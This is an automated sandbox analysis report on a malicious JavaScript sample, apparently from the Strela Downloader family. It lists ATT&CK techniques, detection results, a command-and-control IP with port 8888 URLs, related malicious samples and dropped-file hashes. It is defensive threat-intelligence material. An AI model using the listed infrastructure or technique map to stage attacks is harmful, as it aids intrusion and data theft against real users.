Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
16910148382611315301.js	5%	Virustotal		Browse
16910148382611315301.js	3%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/Lm	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/4l	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Xm	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/l	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/Lm	net.exe, 00000007.00000003.2077891291.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2078600084.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/lm	net.exe, 00000007.00000003.2077891291.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2078600084.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3320776801.0000024F24EC0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2077796110.0000024F2A440000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/4l	net.exe, 00000007.00000003.2077891291.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2078600084.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2077450884.0000013AF322A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2078509879.0000013AF31D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/l	net.exe, 00000007.00000003.2077891291.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2078600084.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/Xm	net.exe, 00000007.00000003.2077891291.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2078600084.0000013AF3211000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589846
Start date and time:	2025-01-13 08:45:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	16910148382611315301.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 50.16.47.176, 34.237.241.83, 18.213.11.84, 54.224.241.105, 172.64.41.3, 162.159.61.3, 184.28.90.27, 2.23.197.184, 199.232.214.172, 2.22.242.11, 2.22.242.123, 23.41.168.139, 20.12.23.50, 13.107.253.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:45:59	API Interceptor	21x Sleep call for process: powershell.exe modified
02:46:02	API Interceptor	1x Sleep call for process: net.exe modified
02:46:02	API Interceptor	2x Sleep call for process: svchost.exe modified
02:46:15	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	281388015101323984.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	305861283730376077.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	155442583088718889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14444181562539231561.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19165129872063820912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	tesr.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.214.172
	https://link.mail.beehiiv.com/ss/c/u001.dSnm3kaGd0BkNqLYPjeMfxWXllAYaBQ5sAn4OVD0j89GQGPZtwQlLugE_8c0wQMKfkpy5_wJ66BvE1Ognfzf5MlQMAeZ1qYs5mgwUBu3TAc6279Q43ISHz-HkVRC08yeDA4QvKWsqLTI1us9a0eXx18qeAibsZhjMMPvES-iG2zoVABKcwKIVWyx95VTVcFMSh6AEN3OCUfP_rXFvjKRbIPMuhn_dqYr8yUBKJvhhlJR9FhTpZPAULxzMbsYWp8k/4cu/JfECY1HwRl-ipvrNOktVcw/h23/h001.ibQl2N4tDD79TTzErix_sFWEGLTTuM6dTVMrTg3y5Dk	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse	199.232.214.172
	PCB - Lyell Highway Upgrades Queenstown to Strahan - March 2021.XLSM	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://satelite.nv-ec.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://support.te-wt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://www.flndmy.er-xu.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://www.support.ue-vt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://support.wt-nx.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://www.maps.tv-wt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	byte.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.ppc.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.spc.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.m68k.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307153475183794
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugs:gJjJGtpTq2yv1AuNZRY3diu8iBVqFu
MD5:	08B1F8ACE06CA50BBAC11296F09954D1
SHA1:	12924B8BF3D71168ED5D94AD9C279082A7C61ED3
SHA-256:	72841C57987F01504ACD952F1CD4E438492CD09F9C6AA7B9EAE3EB500A1D4EE4
SHA-512:	3436CDB8898CA46513E20216E2B0FEEDAC6BDFEEC53D6508EBB41233DA88B230F3C991FFF335F9F4FAA9241DD6458740E5BA34A3EC0F95638E0314FC497358A3
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb81fc267, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585417196767194
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:5aza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	1AD0D310F7750E440897969CE4535DA4
SHA1:	39E4B40C5A7A0031CDD4400D0365E98F92CB1A8F
SHA-256:	1D7B7164B3E7BBD99D192319FB35528986B2C49AB658A558755465D1E915E822
SHA-512:	C959EC225DC9D3B6B421BB7C6C3060F8EFBAD24E39EC3C4DCDB55E3768DBDB22897AD2EC1084435DCFF4424066C56A9CF055001B0BE2863D47A0EA22CC887DB2
Malicious:	false
Preview:	...g... ...............X\...;...{......................0.z..........{.......}5.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................EqJ......}..................<..G.....}5..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08093799635586038
Encrypted:	false
SSDEEP:	3:odlKYeQvkNZvtGuAJkhvekl11f8Y6wllrekGltll/SPj:GlKzKIRtrxlUY6QJe3l
MD5:	3CD8BBA6513C8BAA94E146F4EA5E08C9
SHA1:	36A222787503D664F01FD8CB7748F557FF840D2E
SHA-256:	418C5609FBDAB15EA2480BBCA0258AD95EB2F7F6EF349B83C1FA3D157EC5A9EC
SHA-512:	E15853EAE248DDB2B611F737360CAF52737500E784C1425C446650969E970EA6ECFB921C45D9D05F815440DA6CDD34AF14F9B7DE2272BD3708D86B344084FA7E
Malicious:	false
Preview:	.C.......................................;...{.......}5......{...............{.......{...XL......{..................<..G.....}5.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.1410337257032435
Encrypted:	false
SSDEEP:	6:iOVVq2P92nKuAl9OmbnIFUtQwwgZmwqwwIkwO92nKuAl9OmbjLJ:7VVv4HAahFUtNwg/jwI5LHAaSJ
MD5:	00CD6CDADBFBFE7FEF594BD9EEA931EA
SHA1:	1DF74515DD34FDB141646853E5E97DF00FC190E1
SHA-256:	1389F6078AEA927B09F6E450A55F5E4AE67D820F45747E2F291D1010D1681B39
SHA-512:	A20FEBB7F3EA8262734D717EBA76834A1086CEA7CB3D2E5C07CD07232C908BA8E2B21C2A117DA0368D33A416593D63EA9BDBB83EA8F255046FCBDC1D9C8227D5
Malicious:	false
Preview:	2025/01/13-02:46:02.452 4e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-02:46:02.455 4e0 Recovering log #3.2025/01/13-02:46:02.455 4e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.1410337257032435
Encrypted:	false
SSDEEP:	6:iOVVq2P92nKuAl9OmbnIFUtQwwgZmwqwwIkwO92nKuAl9OmbjLJ:7VVv4HAahFUtNwg/jwI5LHAaSJ
MD5:	00CD6CDADBFBFE7FEF594BD9EEA931EA
SHA1:	1DF74515DD34FDB141646853E5E97DF00FC190E1
SHA-256:	1389F6078AEA927B09F6E450A55F5E4AE67D820F45747E2F291D1010D1681B39
SHA-512:	A20FEBB7F3EA8262734D717EBA76834A1086CEA7CB3D2E5C07CD07232C908BA8E2B21C2A117DA0368D33A416593D63EA9BDBB83EA8F255046FCBDC1D9C8227D5
Malicious:	false
Preview:	2025/01/13-02:46:02.452 4e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-02:46:02.455 4e0 Recovering log #3.2025/01/13-02:46:02.455 4e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.15153914582898
Encrypted:	false
SSDEEP:	6:iOoGdpM+q2P92nKuAl9Ombzo2jMGIFUtIZmwBMVkwO92nKuAl9Ombzo2jMmLJ:7bdpM+v4HAa8uFUtI/BMV5LHAa8RJ
MD5:	4DF1D6BF23EE4423B6AB4151B62DAEA4
SHA1:	1694A071239E173BC35354B573D1BA3D2F51588B
SHA-256:	219B31F6954DF75EBBFB5E9663DDE29F99BF13665936B1C94F3756B6E6707C9C
SHA-512:	8F5039F7C645C95E7257F469C5C94CBDFFD9FC51090447B5AF8745CCB187A010165448C6BD62B6204D93CBFBB85163098FBF3B437CF126828D8C673C51F604BC
Malicious:	false
Preview:	2025/01/13-02:46:02.522 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-02:46:02.524 1c8c Recovering log #3.2025/01/13-02:46:02.524 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.15153914582898
Encrypted:	false
SSDEEP:	6:iOoGdpM+q2P92nKuAl9Ombzo2jMGIFUtIZmwBMVkwO92nKuAl9Ombzo2jMmLJ:7bdpM+v4HAa8uFUtI/BMV5LHAa8RJ
MD5:	4DF1D6BF23EE4423B6AB4151B62DAEA4
SHA1:	1694A071239E173BC35354B573D1BA3D2F51588B
SHA-256:	219B31F6954DF75EBBFB5E9663DDE29F99BF13665936B1C94F3756B6E6707C9C
SHA-512:	8F5039F7C645C95E7257F469C5C94CBDFFD9FC51090447B5AF8745CCB187A010165448C6BD62B6204D93CBFBB85163098FBF3B437CF126828D8C673C51F604BC
Malicious:	false
Preview:	2025/01/13-02:46:02.522 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-02:46:02.524 1c8c Recovering log #3.2025/01/13-02:46:02.524 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.054967407511474
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrCsBdOg2HMcaq3QYiubxnP7E4T3OF+:Y2sRdsyndMHv3QYhbxP7nbI+
MD5:	31CE3FD72BA6340DBB6CCDA5858FF810
SHA1:	CE70F5D9C72CCDFFBE509366580A9E4415083D64
SHA-256:	F3CCF3BCD19DDFCB984EEADEAB34041FF9B6A7EF8B507093D2EDB50D20F6DF20
SHA-512:	1CB70A132E96D4F5DA2572FA66BDF45E60374EE502E33A574CBA62673CDF07CF119C9C6BEC76EADA4402236045101FEAD045232DBF76B6A9CB9988C8138F3666
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381314375001239","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129936},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\eaac817a-454d-4a8c-acfe-32c0db8f5092.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.054967407511474
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrCsBdOg2HMcaq3QYiubxnP7E4T3OF+:Y2sRdsyndMHv3QYhbxP7nbI+
MD5:	31CE3FD72BA6340DBB6CCDA5858FF810
SHA1:	CE70F5D9C72CCDFFBE509366580A9E4415083D64
SHA-256:	F3CCF3BCD19DDFCB984EEADEAB34041FF9B6A7EF8B507093D2EDB50D20F6DF20
SHA-512:	1CB70A132E96D4F5DA2572FA66BDF45E60374EE502E33A574CBA62673CDF07CF119C9C6BEC76EADA4402236045101FEAD045232DBF76B6A9CB9988C8138F3666
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381314375001239","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129936},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.23231524510864
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUw72t:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLc
MD5:	6B063BC1200BEBE634FAB6A778F8D10F
SHA1:	5279B14A04AE5F062C43C4878AED4B355225F09C
SHA-256:	41971E2664CEEE15279678F8EC0B6AC2D7EAA98F0852964FA7BFB738352E2D7C
SHA-512:	7BC2DE7CF2CE0E33ED1841BB722178151995E12A75A0DAE4341BE3E8C4D7D4C3B91FC4AC50FB12362A4E5B4EFAAFD9DAF1AC072009F24F7F8754882DA5F63D1C
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.175114398219678
Encrypted:	false
SSDEEP:	6:iORGqM+q2P92nKuAl9OmbzNMxIFUtzZmwVMVkwO92nKuAl9OmbzNMFLJ:7HM+v4HAa8jFUtz/VMV5LHAa84J
MD5:	7D058E26B270D9839FA73C9272137E83
SHA1:	09360ECDD8CC6F1844AF5E272D3755DBFC9FDE93
SHA-256:	FD94679F2A84D0F7EA0D442E204A6489B7F4C00AC9FF8FFDDA89670D9749EEE3
SHA-512:	7FA56D029B3C2C85EABB3DDD2076353D5AA02ED31D2F2EA9F4902FCF67462C79F8B089F16E557E4A60A2EC327ADAAA667FAFB759765F2EF64283AB9CCE23968C
Malicious:	false
Preview:	2025/01/13-02:46:02.625 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-02:46:02.626 1c8c Recovering log #3.2025/01/13-02:46:02.627 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.175114398219678
Encrypted:	false
SSDEEP:	6:iORGqM+q2P92nKuAl9OmbzNMxIFUtzZmwVMVkwO92nKuAl9OmbzNMFLJ:7HM+v4HAa8jFUtz/VMV5LHAa84J
MD5:	7D058E26B270D9839FA73C9272137E83
SHA1:	09360ECDD8CC6F1844AF5E272D3755DBFC9FDE93
SHA-256:	FD94679F2A84D0F7EA0D442E204A6489B7F4C00AC9FF8FFDDA89670D9749EEE3
SHA-512:	7FA56D029B3C2C85EABB3DDD2076353D5AA02ED31D2F2EA9F4902FCF67462C79F8B089F16E557E4A60A2EC327ADAAA667FAFB759765F2EF64283AB9CCE23968C
Malicious:	false
Preview:	2025/01/13-02:46:02.625 1c8c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-02:46:02.626 1c8c Recovering log #3.2025/01/13-02:46:02.627 1c8c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i 